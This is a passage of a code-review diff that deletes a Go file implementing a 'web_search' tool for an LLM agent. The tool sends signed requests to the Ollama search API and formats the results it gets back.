return "", fmt.Errorf("parsing response: %w", err)
|
||||
}
|
||||
|
||||
// Format result
|
||||
var sb strings.Builder
|
||||
if fetchResp.Title != "" {
|
||||
sb.WriteString(fmt.Sprintf("Title: %s\n\n", fetchResp.Title))
|
||||
}
|
||||
|
||||
if fetchResp.Content != "" {
|
||||
sb.WriteString("Content:\n")
|
||||
sb.WriteString(fetchResp.Content)
|
||||
} else {
|
||||
sb.WriteString("No content could be extracted from the page.")
|
||||
}
|
||||
|
||||
return sb.String(), nil
|
||||
}
|
||||
@@ -1,180 +0,0 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
"github.com/ollama/ollama/auth"
|
||||
internalcloud "github.com/ollama/ollama/internal/cloud"
|
||||
)
|
||||
|
||||
const (
|
||||
webSearchAPI = "https://ollama.com/api/web_search"
|
||||
webSearchTimeout = 15 * time.Second
|
||||
)
|
||||
|
||||
// ErrWebSearchAuthRequired is returned when web search requires authentication
|
||||
var ErrWebSearchAuthRequired = errors.New("web search requires authentication")
|
||||
|
||||
// WebSearchTool implements web search using Ollama's hosted API.
|
||||
type WebSearchTool struct{}
|
||||
|
||||
// Name returns the tool name.
|
||||
func (w *WebSearchTool) Name() string {
|
||||
return "web_search"
|
||||
}
|
||||
|
||||
// Description returns a description of the tool.
|
||||
func (w *WebSearchTool) Description() string {
|
||||
return "Search the web for current information. Use this when you need up-to-date information that may not be in your training data."
|
||||
}
|
||||
|
||||
// Schema returns the tool's parameter schema.
|
||||
func (w *WebSearchTool) Schema() api.ToolFunction {
|
||||
props := api.NewToolPropertiesMap()
|
||||
props.Set("query", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "The search query to look up on the web",
|
||||
})
|
||||
return api.ToolFunction{
|
||||
Name: w.Name(),
|
||||
Description: w.Description(),
|
||||
Parameters: api.ToolFunctionParameters{
|
||||
Type: "object",
|
||||
Properties: props,
|
||||
Required: []string{"query"},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// webSearchRequest is the request body for the web search API.
|
||||
type webSearchRequest struct {
|
||||
Query string `json:"query"`
|
||||
MaxResults int `json:"max_results,omitempty"`
|
||||
}
|
||||
|
||||
// webSearchResponse is the response from the web search API.
|
||||
type webSearchResponse struct {
|
||||
Results []webSearchResult `json:"results"`
|
||||
}
|
||||
|
||||
// webSearchResult is a single search result.
|
||||
type webSearchResult struct {
|
||||
Title string `json:"title"`
|
||||
URL string `json:"url"`
|
||||
Content string `json:"content"`
|
||||
}
|
||||
|
||||
// Execute performs the web search.
|
||||
// Uses Ollama key signing for authentication - this makes requests via ollama.com API.
|
||||
func (w *WebSearchTool) Execute(args map[string]any) (string, error) {
|
||||
if internalcloud.Disabled() {
|
||||
return "", errors.New(internalcloud.DisabledError("web search is unavailable"))
|
||||
}
|
||||
|
||||
query, ok := args["query"].(string)
|
||||
if !ok || query == "" {
|
||||
return "", fmt.Errorf("query parameter is required")
|
||||
}
|
||||
|
||||
// Prepare request
|
||||
reqBody := webSearchRequest{
|
||||
Query: query,
|
||||
MaxResults: 5,
|
||||
}
|
||||
|
||||
jsonBody, err := json.Marshal(reqBody)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("marshaling request: %w", err)
|
||||
}
|
||||
|
||||
// Parse URL and add timestamp for signing
|
||||
searchURL, err := url.Parse(webSearchAPI)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("parsing search URL: %w", err)
|
||||
}
|
||||
|
||||
q := searchURL.Query()
|
||||
q.Add("ts", strconv.FormatInt(time.Now().Unix(), 10))
|
||||
searchURL.RawQuery = q.Encode()
|
||||
|
||||
// Sign the request using Ollama key (~/.ollama/id_ed25519)
|
||||
// This authenticates with ollama.com using the local signing key
|
||||
ctx := context.Background()
|
||||
data := fmt.Appendf(nil, "%s,%s", http.MethodPost, searchURL.RequestURI())
|
||||
signature, err := auth.Sign(ctx, data)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("signing request: %w", err)
|
||||
}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodPost, searchURL.String(), bytes.NewBuffer(jsonBody))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("creating request: %w", err)
|
||||
}
|
||||
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
if signature != "" {
|
||||
req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", signature))
|
||||
}
|
||||
|
||||
// Send request
|
||||
client := &http.Client{Timeout: webSearchTimeout}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("sending request: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("reading response: %w", err)
|
||||
}
|
||||
|
||||
if resp.StatusCode == http.StatusUnauthorized {
|
||||
return "", ErrWebSearchAuthRequired
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return "", fmt.Errorf("web search API returned status %d: %s", resp.StatusCode, string(body))
|
||||
}
|
||||
|
||||
// Parse response
|
||||
var searchResp webSearchResponse
|
||||
if err := json.Unmarshal(body, &searchResp); err != nil {
|
||||
return "", fmt.Errorf("parsing response: %w", err)
|
||||
}
|
||||
|
||||
// Format results
|
||||
if len(searchResp.Results) == 0 {
|
||||
return "No results found for query: " + query, nil
|
||||
}
|
||||
|
||||
var sb strings.Builder
|
||||
sb.WriteString(fmt.Sprintf("Search results for: %s\n\n", query))
|
||||
|
||||
for i, result := range searchResp.Results {
|
||||
sb.WriteString(fmt.Sprintf("%d. %s\n", i+1, result.Title))
|
||||
sb.WriteString(fmt.Sprintf(" URL: %s\n", result.URL))
|
||||
if result.Content != "" {
|
||||
// Truncate long content (UTF-8 safe)
|
||||
content := result.Content
|
||||
runes := []rune(content)
|
||||
if len(runes) > 300 {
|
||||
content = string(runes[:300]) + "..."
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf(" %s\n", content))
|
||||
}
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
|
||||
return sb.String(), nil
|
||||
}
|
||||
Loaded 100 of 101 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user